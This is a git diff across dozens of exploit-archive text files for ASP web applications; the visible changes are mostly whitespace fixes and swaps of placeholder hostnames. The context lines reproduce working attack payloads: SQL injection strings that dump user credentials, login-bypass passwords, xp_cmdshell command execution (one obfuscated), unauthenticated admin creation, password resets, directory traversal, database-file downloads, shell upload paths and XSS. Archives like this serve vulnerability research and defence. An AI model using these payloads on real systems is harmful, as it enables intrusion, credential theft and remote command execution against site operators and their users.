/foo '; diff --git a/platforms/asp/webapps/21308.txt b/platforms/asp/webapps/21308.txt index a9c16e779..e179c3fcb 100755 --- a/platforms/asp/webapps/21308.txt +++ b/platforms/asp/webapps/21308.txt @@ -9,4 +9,4 @@ Snitz Forums 2000 allows users to include images in forum messages using image t It is possible to inject arbitrary script code into forum messages via these image tags. Script code will be executed in the browser of the user viewing the forum message, in the context of the website running the vulnerable software. This may allow an attacker to steal cookie-based authentication credentials. -[img]javasCript:alert('Hello world.')[/img] \ No newline at end of file +[img]javasCript:alert('Hello world.')[/img] \ No newline at end of file diff --git a/platforms/asp/webapps/21400.txt b/platforms/asp/webapps/21400.txt index 01a7ee331..ce027dde1 100755 --- a/platforms/asp/webapps/21400.txt +++ b/platforms/asp/webapps/21400.txt @@ -19,4 +19,4 @@ Use this link to view the vulnerability: /members.asp?mode=search&M_NAME=XXXX% 25')%20UNION%20SELECT%20MEMBER_ID,% 20M_STATUS,%20M_NAME%20%2B%20'/'%20% -2B%20M_EMAIL%20%2B%20'/',%20M_LEVEL,% \ No newline at end of file +2B%20M_EMAIL%20%2B%20'/',%20M_LEVEL,% \ No newline at end of file diff --git a/platforms/asp/webapps/21434.txt b/platforms/asp/webapps/21434.txt index 8c0b70afb..5be5dacca 100755 --- a/platforms/asp/webapps/21434.txt +++ b/platforms/asp/webapps/21434.txt @@ -7,4 +7,4 @@ Under some circumstances, it may be possible for a remote user to gain unauthori It is possible for remote attackers to corrupt the logic of queries such that a successful login will occur regardless of the supplied password. User: admin (this selects the first index from the table) -Password: ' OR ''=' \ No newline at end of file +Password: ' OR ''=' \ No newline at end of file diff --git a/platforms/asp/webapps/21455.txt b/platforms/asp/webapps/21455.txt index 40075ea9e..c9a3858e9 100755 --- a/platforms/asp/webapps/21455.txt +++ b/platforms/asp/webapps/21455.txt @@ -5,4 +5,4 @@ Hosting Controller is an application which consolidates all hosting tasks into o The DSNManager script does not sufficiently filter dot-dot-slash (../) sequences from URL parameters, making it prone to directory traversal attacks. An attacker can exploit this condition to disclose the contents of arbitrary web-readable files or potentially add a DSN (Data Source Number) to an arbitrary directory. http://target/admin/dsn/dsnmanager.asp?DSNAction=ChangeRoot&RootName=D:\webspace\opendnsserver\targ -et\server\db\..\..\..\..\ \ No newline at end of file +et\target.com\db\..\..\..\..\ \ No newline at end of file diff --git a/platforms/asp/webapps/21457.txt b/platforms/asp/webapps/21457.txt index 3537eead2..f77485f3d 100755 --- a/platforms/asp/webapps/21457.txt +++ b/platforms/asp/webapps/21457.txt @@ -6,4 +6,4 @@ The Import Root Directory (imp_rootdir.asp) script does not force an authenticat This may enable a remote attacker to execute arbitrary commands on the underlying system, eventually leading to a full compromise. -http://target/admin/import/imp_rootdir.asp?result=1&www=C:\&ftp=C:\&owwwPath=C:\&oftpPath=C:\ \ No newline at end of file +http://target/admin/import/imp_rootdir.asp?result=1&www=C:\&ftp=C:\&owwwPath=C:\&oftpPath=C:\ \ No newline at end of file diff --git a/platforms/asp/webapps/21464.txt b/platforms/asp/webapps/21464.txt index a80f68be9..f0c70c02e 100755 --- a/platforms/asp/webapps/21464.txt +++ b/platforms/asp/webapps/21464.txt @@ -4,4 +4,4 @@ Hosting Controller is an application which consolidates all hosting tasks into o The 'browse.asp' script is prone to an issue which may allow a remote attacker to view the contents of arbitrary files and directories. The attacker must provide a malicious value as a URL parameter in a request for the affected script, which will be read with the privileges of the web server process. -http://target/admin/browse.asp?FilePath=c:\&Opt=2&level=0 \ No newline at end of file +http://target/admin/browse.asp?FilePath=c:\&Opt=2&level=0 \ No newline at end of file diff --git a/platforms/asp/webapps/21766.txt b/platforms/asp/webapps/21766.txt index a1c0dbc57..46df418e9 100755 --- a/platforms/asp/webapps/21766.txt +++ b/platforms/asp/webapps/21766.txt @@ -4,4 +4,4 @@ FactoSystem Weblog is a freely available, open source software package for weblo FactoSystem does not adequately filter special characters from requests. Because of this, it may be possible for a remote user to submit a request containing encoded special characters and SQL, and execute arbitrary commands. This could lead to execution of SQL commands in the security context of web database user. -http://www.example.com/author.asp?authornumber=1%28%20And%20AuthorTable%2EAuthorID%3DBlurbTable%2EAuthorID%20And%20BlurbTable%2ESub_id%3DSubjectTable%2ESub_id%20Order%20By%20BlurbTable%2EBlurbdate%20desc%2C%20blurbtable%2Eblurbtime%20desc%3BUPDATE%20user%20SET%20Password%3DPASSWORD%28%27password%27%29%20WHERE%20user%3D%27root%27%3B%20FLUSH%20PRIVILEGES%3B-- \ No newline at end of file +http://www.example.com/author.asp?authornumber=1%28%20And%20AuthorTable%2EAuthorID%3DBlurbTable%2EAuthorID%20And%20BlurbTable%2ESub_id%3DSubjectTable%2ESub_id%20Order%20By%20BlurbTable%2EBlurbdate%20desc%2C%20blurbtable%2Eblurbtime%20desc%3BUPDATE%20user%20SET%20Password%3DPASSWORD%28%27password%27%29%20WHERE%20user%3D%27root%27%3B%20FLUSH%20PRIVILEGES%3B-- \ No newline at end of file diff --git a/platforms/asp/webapps/2228.txt b/platforms/asp/webapps/2228.txt index 6bbad9d9a..955c13e2b 100755 --- a/platforms/asp/webapps/2228.txt +++ b/platforms/asp/webapps/2228.txt @@ -17,11 +17,11 @@ ################################################################################ ############################################################################################################################################################ -#Usage : http://server/path/comments.asp?id=-1 UNION SELECT ID,uFULLNAME,uUSERNAME,uPASSWORD,uEMAIL,uDATECREATED,null,null FROM T_USERS WHERE id=1 # +#Usage : http://www.target.com/path/comments.asp?id=-1 UNION SELECT ID,uFULLNAME,uUSERNAME,uPASSWORD,uEMAIL,uDATECREATED,null,null FROM T_USERS WHERE id=1 # ############################################################################################################################################################ ########################################################### -#Admin Panel : http://server/path/admin/login.asp # +#Admin Panel : http://www.target.com/path/admin/login.asp # ########################################################### # milw0rm.com [2006-08-20] diff --git a/platforms/asp/webapps/2230.txt b/platforms/asp/webapps/2230.txt index 669f9a200..5cadfe059 100755 --- a/platforms/asp/webapps/2230.txt +++ b/platforms/asp/webapps/2230.txt @@ -17,11 +17,11 @@ ################################################################################ ################################################################################################################### -#Usage : http://server/path/comments.asp?id=-1 UNION SELECT 0,username,password,3,4+FROM+LOGIN+WHERE+ID=1 # +#Usage : http://www.target.com/path/comments.asp?id=-1 UNION SELECT 0,username,password,3,4+FROM+LOGIN+WHERE+ID=1 # ################################################################################################################### ################################################# -#Admin Panel : http://server/path/admin # +#Admin Panel : http://www.target.com/path/admin # ################################################# # milw0rm.com [2006-08-20] diff --git a/platforms/asp/webapps/22436.txt b/platforms/asp/webapps/22436.txt index 0fb594045..82d736d8a 100755 --- a/platforms/asp/webapps/22436.txt +++ b/platforms/asp/webapps/22436.txt @@ -6,4 +6,4 @@ It may be possible for a remote attacker to create a malicious link containing s This may allow for theft of cookie-based authentication credentials and other attacks. -http://www.example.com/myguestBk/add1.asp?name=Name&subject=Subj&email=M@IL&message= \ No newline at end of file +http://www.example.com/myguestBk/add1.asp?name=Name&subject=Subj&email=M@IL&message= \ No newline at end of file diff --git a/platforms/asp/webapps/22484.txt b/platforms/asp/webapps/22484.txt index 43178fccf..ad6ac2078 100755 --- a/platforms/asp/webapps/22484.txt +++ b/platforms/asp/webapps/22484.txt @@ -6,4 +6,4 @@ An attacker may make a request for and download the underlying Access database f Information collected in this way may be used to aid in further attacks against the system. -http://www.example.com/guestbook/admin/o12guest.mdb \ No newline at end of file +http://www.example.com/guestbook/admin/o12guest.mdb \ No newline at end of file diff --git a/platforms/asp/webapps/22487.txt b/platforms/asp/webapps/22487.txt index f0b6e877b..2cac66d1d 100755 --- a/platforms/asp/webapps/22487.txt +++ b/platforms/asp/webapps/22487.txt @@ -8,4 +8,4 @@ Information collected in this way may be used to aid in further attacks against It should be noted that although this vulnerability has been reported to affect Site News version 3.06, previous versions might also be affected. -http://www.example.com/news/news.mdb \ No newline at end of file +http://www.example.com/news/news.mdb \ No newline at end of file diff --git a/platforms/asp/webapps/22507.txt b/platforms/asp/webapps/22507.txt index 805b2d57b..20c48d40c 100755 --- a/platforms/asp/webapps/22507.txt +++ b/platforms/asp/webapps/22507.txt @@ -8,4 +8,4 @@ Information collected in this way may be used to aid in further attacks against It should be noted that all versions of Web Wiz Forums have been reported prone to this vulnerability. -http://www.example.com/forum/admin/wwforum.mdb \ No newline at end of file +http://www.example.com/forum/admin/wwforum.mdb \ No newline at end of file diff --git a/platforms/asp/webapps/22513.txt b/platforms/asp/webapps/22513.txt index a75bfc91c..4645c30bd 100755 --- a/platforms/asp/webapps/22513.txt +++ b/platforms/asp/webapps/22513.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/7390/info MPCSoftWeb does not sufficiently secure the database file. It is possible for remote attackers to request the database file and gain access to sensitive information such as administrative credentials for the guestbook. -http://www.example.com/mpcsoftweb_guestbook/database/mpcsoftweb_guestdata.mdb \ No newline at end of file +http://www.example.com/mpcsoftweb_guestbook/database/mpcsoftweb_guestdata.mdb \ No newline at end of file diff --git a/platforms/asp/webapps/22529.txt b/platforms/asp/webapps/22529.txt index 02907c977..e1fdd061d 100755 --- a/platforms/asp/webapps/22529.txt +++ b/platforms/asp/webapps/22529.txt @@ -9,4 +9,4 @@ The condition is reportedly due to insufficient sanitization of externally suppl Log into a vulnerable forum using the following password: 'or''=' -A username is not required. \ No newline at end of file +A username is not required. \ No newline at end of file diff --git a/platforms/asp/webapps/22555.txt b/platforms/asp/webapps/22555.txt index 39dd5ea01..18410d29a 100755 --- a/platforms/asp/webapps/22555.txt +++ b/platforms/asp/webapps/22555.txt @@ -6,4 +6,4 @@ This vulnerability may be the result of inadequate sanitization of user-supplied http://server/biztalktracking/RawCustomSearchField.asp?nDocumentKey=1,@tnDirection=1;execmaster.dbo.xp_cmdshell 'any OS command'-- -http://server/biztalktracking/RawCustomSearchField.asp?nDocumentKey=1,@tnDirection=1;execmaster.dbo.sp_grantlogin 'domain\attacker'-- \ No newline at end of file +http://server/biztalktracking/RawCustomSearchField.asp?nDocumentKey=1,@tnDirection=1;execmaster.dbo.sp_grantlogin 'domain\attacker'-- \ No newline at end of file diff --git a/platforms/asp/webapps/22639.txt b/platforms/asp/webapps/22639.txt index 5a3630c52..02755fb10 100755 --- a/platforms/asp/webapps/22639.txt +++ b/platforms/asp/webapps/22639.txt @@ -7,4 +7,4 @@ Successful exploitation could result in a compromise of the IISProtect server, a http://www.example.com/iisprotect/admin/SiteAdmin.ASP?V_SiteName=&V_FirstTab=Groups&V_SecondTab=All&GroupName=gyrniff_gr';exec%20maste r..xp_cmdshell'ping%2010.10.10.11';-- -This example invokes the 'xp_cmdshell' stored procedure to execute the ping command on the host operating system. \ No newline at end of file +This example invokes the 'xp_cmdshell' stored procedure to execute the ping command on the host operating system. \ No newline at end of file diff --git a/platforms/asp/webapps/22673.txt b/platforms/asp/webapps/22673.txt index adef8f736..3da403ac4 100755 --- a/platforms/asp/webapps/22673.txt +++ b/platforms/asp/webapps/22673.txt @@ -17,6 +17,6 @@ Cookie: philboard_admin=True; Download the database (users and password): Usually, the database location can be found and download it from: -http://server/database/philboard.mdb +http://www.target.com/database/philboard.mdb or -http://server/forum/database/philboard.mdb \ No newline at end of file +http://www.target.com/forum/database/philboard.mdb \ No newline at end of file diff --git a/platforms/asp/webapps/22730.txt b/platforms/asp/webapps/22730.txt index a5d7b60be..2c42d1289 100755 --- a/platforms/asp/webapps/22730.txt +++ b/platforms/asp/webapps/22730.txt @@ -4,4 +4,4 @@ Mailtraq is vulnerable to cross-site scripting attacks. The vulnerability exists An attacker can exploit this vulnerability by manipulating the 'cfolder' URI parameter to the browse.asp script and sending a link to a victim user. If this link is visited, the attacker-supplied code may be rendered in the browser of the user who visit the malicious link. -http://www.example.org/browse.asp? \ No newline at end of file +http://www.example.org/browse.asp? \ No newline at end of file diff --git a/platforms/asp/webapps/22731.txt b/platforms/asp/webapps/22731.txt index f0d32bfee..c810cd5b6 100755 --- a/platforms/asp/webapps/22731.txt +++ b/platforms/asp/webapps/22731.txt @@ -4,4 +4,4 @@ A vulnerability has been reported for Mailtraq that may result in the disclosure The vulnerability exists due to insufficient sanitization of HTTP requests. Specifically, a request for non-existent resources will result in an error message being returned that includes path information. -http://10.10.10.1/browse.asp* \ No newline at end of file +http://10.10.10.1/browse.asp* \ No newline at end of file diff --git a/platforms/asp/webapps/22744.txt b/platforms/asp/webapps/22744.txt index b39733b28..0cded5522 100755 --- a/platforms/asp/webapps/22744.txt +++ b/platforms/asp/webapps/22744.txt @@ -5,4 +5,4 @@ Synkron.web is prone to HTML injection attacks. The vulnerability exists in the Exploitation could allow for attacks that steal cookie-based authentication credentials. http://www.example.net/sw000.asp?SearchCacheId=xx\ -&SearchPageNumberII=1&SearchParaId=y&SearchParaType=zzz \ No newline at end of file +&SearchPageNumberII=1&SearchParaId=y&SearchParaType=zzz \ No newline at end of file diff --git a/platforms/asp/webapps/22747.txt b/platforms/asp/webapps/22747.txt index 7dfa58150..84ee00287 100755 --- a/platforms/asp/webapps/22747.txt +++ b/platforms/asp/webapps/22747.txt @@ -14,4 +14,4 @@ MaxWebPortal has been reported prone to a database disclosure vulnerability. Max MaxWebPortal 'password.asp' has been reported prone to a password-reset vulnerability. It has been reported that by requesting a forgotten password, an attacker may save the 'password reset' page offline. By modifying the member id in the script the attacker may reset arbitrary account passwords. -http://www.example.com/database/db2000.mdb \ No newline at end of file +http://www.example.com/database/db2000.mdb \ No newline at end of file diff --git a/platforms/asp/webapps/22778.txt b/platforms/asp/webapps/22778.txt index a5caa43dc..42fd6374f 100755 --- a/platforms/asp/webapps/22778.txt +++ b/platforms/asp/webapps/22778.txt @@ -6,4 +6,4 @@ Exploitation may allow theft of cookie-based authentication credentials or other This issue was reported in Snitz Forums 3.4.0.3, other versions might also be affected. -http://www.example.com/search.asp?Search="><script>alert()</script> \ No newline at end of file +http://www.example.com/search.asp?Search="><script>alert()</script> \ No newline at end of file diff --git a/platforms/asp/webapps/22866.txt b/platforms/asp/webapps/22866.txt index f0ea1bf4c..857712b48 100755 --- a/platforms/asp/webapps/22866.txt +++ b/platforms/asp/webapps/22866.txt @@ -4,8 +4,8 @@ A cross-site scripting vulnerability has been reported for ProductCart. The vuln Exploitation could permit an attacker to steal cookie-based authentication credentials or launch other attacks. -http://www.webserver/ProductCart/pc/msg.asp?message=> -http://www.webserver/ProductCart/pc/msg.asp?message= \ No newline at end of file diff --git a/platforms/asp/webapps/2287.txt b/platforms/asp/webapps/2287.txt index 758f77f78..97e4cc732 100755 --- a/platforms/asp/webapps/2287.txt +++ b/platforms/asp/webapps/2287.txt @@ -9,11 +9,11 @@ ################################################################################ ########################################################################################################################################################################## -#Usage : http://server/path/devam.asp?YID=-1 UNION SELECT null,null,null,null,null,editor_adi,null,editor_sifre,editor_mail,null FROM editor WHERE editor_id = 1 # +#Usage : http://www.target.com/path/devam.asp?YID=-1 UNION SELECT null,null,null,null,null,editor_adi,null,editor_sifre,editor_mail,null FROM editor WHERE editor_id = 1 # ########################################################################################################################################################################## ############################################################# -#Admin Panel : http://server/path/admin/default.asp # +#Admin Panel : http://www.target.com/path/admin/default.asp # ############################################################# # milw0rm.com [2006-09-01] diff --git a/platforms/asp/webapps/2294.txt b/platforms/asp/webapps/2294.txt index 4b0c06190..9104f82e5 100755 --- a/platforms/asp/webapps/2294.txt +++ b/platforms/asp/webapps/2294.txt @@ -9,7 +9,7 @@ #Price of Portal: 300YTL // Good money for Bad Script #Exploit : - www.server /[portal path]/kategori.asp?kat=-1%20union%20select%200,U_ADI,2,U_SIFRE,4,5,6,7,8,9,10,11,12,13,14%20from%20uyeler%20where%20U_ID%20like%201 + www.site.com /[portal path]/kategori.asp?kat=-1%20union%20select%200,U_ADI,2,U_SIFRE,4,5,6,7,8,9,10,11,12,13,14%20from%20uyeler%20where%20U_ID%20like%201 #BURCU Seni hep sevdim hep sevicem. diff --git a/platforms/asp/webapps/2296.txt b/platforms/asp/webapps/2296.txt index 5b7d49105..e8ce1d15d 100755 --- a/platforms/asp/webapps/2296.txt +++ b/platforms/asp/webapps/2296.txt @@ -1,4 +1,4 @@ -_ _ + _ _ __ _(_)_ __ ___| |_ __ _ \ \ / / | '_ \/ __| __/ _` | \ V /| | |_) \__ \ || (_| | diff --git a/platforms/asp/webapps/23033.txt b/platforms/asp/webapps/23033.txt index 9b5f9d4da..4e770a2a3 100755 --- a/platforms/asp/webapps/23033.txt +++ b/platforms/asp/webapps/23033.txt @@ -4,4 +4,4 @@ It has been reported that a html injection issue exists in the Clickcess ChitCha This vulerability may lead to cookie-based credential theft. -Topic title: \ No newline at end of file +Topic title: \ No newline at end of file diff --git a/platforms/asp/webapps/23035.txt b/platforms/asp/webapps/23035.txt index e19fcafc3..90cec2abc 100755 --- a/platforms/asp/webapps/23035.txt +++ b/platforms/asp/webapps/23035.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/8426/info A vulnerability has been reported for Poster.version:two. The problem occurs due to the application failing to lock the 'setup' variable after initialization. As a result, an attacker may access this variable to add additional adminstrator users to the forum. This may effectively allow for the theft or modification of sensitive information. -http://www.example.com/poster/?go=setup_submit&un=DarkKnight&pw=123456&em=EMAIL&submit=submit \ No newline at end of file +http://www.example.com/poster/?go=setup_submit&un=DarkKnight&pw=123456&em=EMAIL&submit=submit \ No newline at end of file diff --git a/platforms/asp/webapps/23055.txt b/platforms/asp/webapps/23055.txt index 5f539ab5d..e0915c25c 100755 --- a/platforms/asp/webapps/23055.txt +++ b/platforms/asp/webapps/23055.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/8480/info IdealBB is prone to an HTML injection vulnerability. This could permit remote attackers to inject malicious HTML and script code into board messages. The attacker's code may be rendered in the web browser of the user viewing the malicious message. -Google \ No newline at end of file +Google \ No newline at end of file diff --git a/platforms/asp/webapps/2306.txt b/platforms/asp/webapps/2306.txt index ab0dc556c..07adb6b5f 100755 --- a/platforms/asp/webapps/2306.txt +++ b/platforms/asp/webapps/2306.txt @@ -9,15 +9,15 @@ ################################################################################ ########################################################################################################################################################## -#Username : http://server/path/ReplyNew.asp?RepId=-1 UNION SELECT null,null,null,J_user,null,null,null,null,null,null,null,null FROM adminlogins # +#Username : http://www.target.com/path/ReplyNew.asp?RepId=-1 UNION SELECT null,null,null,J_user,null,null,null,null,null,null,null,null FROM adminlogins # ########################################################################################################################################################## ########################################################################################################################################################## -#Password : http://server/path/ReplyNew.asp?RepId=-1 UNION SELECT null,null,null,J_pass,null,null,null,null,null,null,null,null FROM adminlogins # +#Password : http://www.target.com/path/ReplyNew.asp?RepId=-1 UNION SELECT null,null,null,J_pass,null,null,null,null,null,null,null,null FROM adminlogins # ########################################################################################################################################################## ################################################################ -#Admin Panel : http://server/path/theadmin/default.asp # +#Admin Panel : http://www.target.com/path/theadmin/default.asp # ################################################################ # milw0rm.com [2006-09-05] diff --git a/platforms/asp/webapps/23120.txt b/platforms/asp/webapps/23120.txt index 1c04ba981..32f17e65b 100755 --- a/platforms/asp/webapps/23120.txt +++ b/platforms/asp/webapps/23120.txt @@ -6,4 +6,4 @@ Successful exploitation of this vulnerability may allow an attacker to steal coo - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/asp/webapps/23195.txt b/platforms/asp/webapps/23195.txt index b162c0828..af23ac579 100755 --- a/platforms/asp/webapps/23195.txt +++ b/platforms/asp/webapps/23195.txt @@ -4,4 +4,4 @@ A-Cart has been reported prone to a cross-site scripting vulnerability. The issu An attacker could exploit this condition to render arbitrary HTML in the browser of a victim, stealing cookie authentication credentials or performing other nefarious acts. -http://www.example.com/acartpath/signin.asp?msg= \ No newline at end of file +http://www.example.com/acartpath/signin.asp?msg= \ No newline at end of file diff --git a/platforms/asp/webapps/23335.txt b/platforms/asp/webapps/23335.txt index 0822d33e9..5e9fb8571 100755 --- a/platforms/asp/webapps/23335.txt +++ b/platforms/asp/webapps/23335.txt @@ -4,4 +4,4 @@ It has been reported that VieNuke VieBoard may be prone to a SQL injection vulne A malicious user may influence database queries in order to view or modify sensitive information potentially compromising the software or the database. -http://www.example.com/vie/viewtopic.asp?forumid=48&id=2736' \ No newline at end of file +http://www.example.com/vie/viewtopic.asp?forumid=48&id=2736' \ No newline at end of file diff --git a/platforms/asp/webapps/23407.txt b/platforms/asp/webapps/23407.txt index 06192432e..6eca55746 100755 --- a/platforms/asp/webapps/23407.txt +++ b/platforms/asp/webapps/23407.txt @@ -12,4 +12,4 @@ fldusername='qasdew'--&SubCategory=All&action.x=33&action.y=6 This code changes the administrator password: Keyword=&category=5); update tbluser set fldpassword='edsaqw' where -fldusername='admin'--&SubCategory=All&action.x=33&action.y=6 \ No newline at end of file +fldusername='admin'--&SubCategory=All&action.x=33&action.y=6 \ No newline at end of file diff --git a/platforms/asp/webapps/23408.txt b/platforms/asp/webapps/23408.txt index 42a31d03e..25f58130f 100755 --- a/platforms/asp/webapps/23408.txt +++ b/platforms/asp/webapps/23408.txt @@ -3,4 +3,4 @@ source: http://www.securityfocus.com/bid/9134/info It has been reported that VP-ASP may be prone to a SQL injection vulnerability that may allow an attacker to disclose sensitive information by supplying malicious SQL code to the underlying database. The problem exists in the 'shopdisplayproducts.asp' script of the software. http://www.example.com/vpasp/shopdisplayproducts.asp?cat=qwerty'%20union%20select%20fldauto,fldpassword%20from%20tbluser%20where%20fldusername='admin'%20and%20fldpassword%20 -like%20'a%25'-- \ No newline at end of file +like%20'a%25'-- \ No newline at end of file diff --git a/platforms/asp/webapps/23415.txt b/platforms/asp/webapps/23415.txt index b1e86fc6a..67c7a9db8 100755 --- a/platforms/asp/webapps/23415.txt +++ b/platforms/asp/webapps/23415.txt @@ -10,4 +10,4 @@ http://www.example.com/vpasp/shopdisplayproducts.asp?id=5&cat= -http://www.example.com/vpasp/shopdisplayproducts.asp?id=5&cat=Username:
Password:
\ No newline at end of file +http://www.example.com/vpasp/shopdisplayproducts.asp?id=5&cat=Username:
Password:
\ No newline at end of file diff --git a/platforms/asp/webapps/23440.txt b/platforms/asp/webapps/23440.txt index f3e62b017..1f3afdaa4 100755 --- a/platforms/asp/webapps/23440.txt +++ b/platforms/asp/webapps/23440.txt @@ -9,4 +9,4 @@ These issues are currently undergoing further analysis. http://www.example.com/templates/Page.aspx?id=20691 http://www.example.com/news.asp?id=7661 http://www.example.com/system/linkurl.asp?root=../../../ -http://www.example.com/templates/CommonPage____19461.asp \ No newline at end of file +http://www.example.com/templates/CommonPage____19461.asp \ No newline at end of file diff --git a/platforms/asp/webapps/23571.txt b/platforms/asp/webapps/23571.txt index 359c65fbd..9752caf20 100755 --- a/platforms/asp/webapps/23571.txt +++ b/platforms/asp/webapps/23571.txt @@ -17,13 +17,13 @@ SelectSurvey CMS (ASP.NET) Shell Upload Vulnerability exploit # /survey/UploadImagePopup.aspx -or http://survey.server/UploadImagePopup.aspx +or http://survey.site.com/UploadImagePopup.aspx - Upload to # http://server/UploadedImages/shell.asp + Upload to # http://site.com/UploadedImages/shell.asp ####################################################### -Greetz : Matlo3a-Dz \ No newline at end of file +Greetz : Matlo3a-Dz \ No newline at end of file diff --git a/platforms/asp/webapps/2362.txt b/platforms/asp/webapps/2362.txt index 65dc1fc2b..a45fe409c 100755 --- a/platforms/asp/webapps/2362.txt +++ b/platforms/asp/webapps/2362.txt @@ -6,7 +6,7 @@ # Vulnerable file : icerik.asp exp : -http://server/[path]/icerik.asp?icerikno=-1%20union+select+mail,sifre,uyeadi+from+tbl_uye+where+uyeno=1 +http://site.com/[path]/icerik.asp?icerikno=-1%20union+select+mail,sifre,uyeadi+from+tbl_uye+where+uyeno=1 uyeno = 1 or 2( Admin ID ) diff --git a/platforms/asp/webapps/23635.txt b/platforms/asp/webapps/23635.txt index 3603ed0c7..3acdb8968 100755 --- a/platforms/asp/webapps/23635.txt +++ b/platforms/asp/webapps/23635.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/9555/info The showcode.asp script activated in Sample_showcode.html may be vulnerable to a directory traversal issue. A remote attacker may view any files readable by the web server using '../' escape sequences in URI requests. -http://www.example.org/sample_script_directory/Sample_showcode.html?fname=/../../../../target \ No newline at end of file +http://www.example.org/sample_script_directory/Sample_showcode.html?fname=/../../../../target \ No newline at end of file diff --git a/platforms/asp/webapps/23729.txt b/platforms/asp/webapps/23729.txt index 69e67f4fd..3aa2771e5 100755 --- a/platforms/asp/webapps/23729.txt +++ b/platforms/asp/webapps/23729.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/9693/info It has been reported that WebStores2000 is prone to a cross-site scripting vulnerability. This issue is reportedly due to a failure to sanitize user input and so allow HTML and script code that may facilitate cross-site scripting attacks. -http://www.example.com/error.asp?Message_id=35 \ No newline at end of file +http://www.example.com/error.asp?Message_id=35 \ No newline at end of file diff --git a/platforms/asp/webapps/23891.txt b/platforms/asp/webapps/23891.txt index c477ea24c..705140361 100755 --- a/platforms/asp/webapps/23891.txt +++ b/platforms/asp/webapps/23891.txt @@ -7,4 +7,4 @@ The SQL injection issue may allow a remote attacker to manipulate SQL query logi The cross-site scripting issue could permit a remote attacker to create a malicious link to the vulnerable application that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks. http://www.example.com/category.asp?catcode=[SqlInjection] -http://www.example.com/category.asp?catcode=1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname='[Username]' \ No newline at end of file +http://www.example.com/category.asp?catcode=1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname='[Username]' \ No newline at end of file diff --git a/platforms/asp/webapps/23895.txt b/platforms/asp/webapps/23895.txt index 52d38127c..2919d1327 100755 --- a/platforms/asp/webapps/23895.txt +++ b/platforms/asp/webapps/23895.txt @@ -4,4 +4,4 @@ It has been reported that Interchange may be prone to a remote information discl This issue may allow an attacker to gain access to sensitive information that may be used to launch further attacks against a system. -http://www.example.com/cgi-bin/store/__SQLUSER__ \ No newline at end of file +http://www.example.com/cgi-bin/store/__SQLUSER__ \ No newline at end of file diff --git a/platforms/asp/webapps/23898.txt b/platforms/asp/webapps/23898.txt index 7567e6053..9addf52ab 100755 --- a/platforms/asp/webapps/23898.txt +++ b/platforms/asp/webapps/23898.txt @@ -6,4 +6,4 @@ As a result of this, a malicious user may influence database queries in order to http://www.example.com/payonline.asp/strAgain=yes&CD_EmailAddress=dummy@someemailservice.com&CD_Password=&CD_AffiliateID=&CD_CardholderCountry=200&CD_ShippingCountry=200&CD_ShippingPostcode=&strPaymentSystem=email&CP_CouponCode=&numLanguageID=1&numCurrencyID=1&numItemCount=2&strItems=214;+exec+master..xp_cmdshell+'dir+c:'--z165z&strQuantities=6z2z&numShipMethod=1&btnProceed=Proceed -http://www.example.com/payonline.asp/strAgain=yes&CD_EmailAddress=dummy@someemailservice.com&CD_Password=&CD_AffiliateID=&CD_CardholderCountry=200&CD_ShippingCountry=200&CD_ShippingPostcode=&strPaymentSystem=email&CP_CouponCode=&numLanguageID=1&numCurrencyID=1&numItemCount=2&strItems=214;declare%20@a%20sysname%20set%20@a%20=%20char(100)%2bchar(105)%2bchar(114)%2bchar(32)%2bchar(99)%2bchar(58)%20exec%20master..xp_cmdshell%20@a;--z165z&strQuantities=6z2z&numShipMethod=1&btnProceed=Proceed \ No newline at end of file +http://www.example.com/payonline.asp/strAgain=yes&CD_EmailAddress=dummy@someemailservice.com&CD_Password=&CD_AffiliateID=&CD_CardholderCountry=200&CD_ShippingCountry=200&CD_ShippingPostcode=&strPaymentSystem=email&CP_CouponCode=&numLanguageID=1&numCurrencyID=1&numItemCount=2&strItems=214;declare%20@a%20sysname%20set%20@a%20=%20char(100)%2bchar(105)%2bchar(114)%2bchar(32)%2bchar(99)%2bchar(58)%20exec%20master..xp_cmdshell%20@a;--z165z&strQuantities=6z2z&numShipMethod=1&btnProceed=Proceed \ No newline at end of file diff --git a/platforms/asp/webapps/23899.txt b/platforms/asp/webapps/23899.txt index b53fe8ad1..e6f29ddda 100755 --- a/platforms/asp/webapps/23899.txt +++ b/platforms/asp/webapps/23899.txt @@ -6,4 +6,4 @@ This issue could permit a remote attacker to create a malicious link to the vuln http://www.example.com/popuplargeimage.asp?strImageTag= -http://www.example.com/popuplargeimage.asp?strImageTag= \ No newline at end of file +http://www.example.com/popuplargeimage.asp?strImageTag= \ No newline at end of file diff --git a/platforms/asp/webapps/24397.txt b/platforms/asp/webapps/24397.txt index 9401a197c..941733c69 100755 --- a/platforms/asp/webapps/24397.txt +++ b/platforms/asp/webapps/24397.txt @@ -7,4 +7,4 @@ CNU5 version 1.2 is reported vulnerable to this issue. CNU5 Extra may be affecte This issue is being retired due to the fact that this is not a vulnerability in the application. Configuring the Web server to restrict access to sensitive files can prevent this problem. http://www.example.com/news/news.mdb -http://www.example.com/news.mdb \ No newline at end of file +http://www.example.com/news.mdb \ No newline at end of file diff --git a/platforms/asp/webapps/24420.txt b/platforms/asp/webapps/24420.txt index 9128e9b40..562680160 100755 --- a/platforms/asp/webapps/24420.txt +++ b/platforms/asp/webapps/24420.txt @@ -16,4 +16,4 @@ Cross-site scripting: /adminSection/index.asp?ShowMsg=(XSS) /adminSection/ChangePassword.asp?ShowMsg=(XSS) /adminSection/users_list.asp?ShowMsg=(XSS) -/adminSection/users_add.asp?ShowMsg=(XSS) \ No newline at end of file +/adminSection/users_add.asp?ShowMsg=(XSS) \ No newline at end of file diff --git a/platforms/asp/webapps/25060.txt b/platforms/asp/webapps/25060.txt index 98d1f4b16..1bb2d7340 100755 --- a/platforms/asp/webapps/25060.txt +++ b/platforms/asp/webapps/25060.txt @@ -9,4 +9,4 @@ http://www.example.com/comersus/backofficelite/comersus_backofficelite_supportEr The following proof of concept is available for the SQL injection issue: GET /comersus/store/default.asp HTTP/1.1 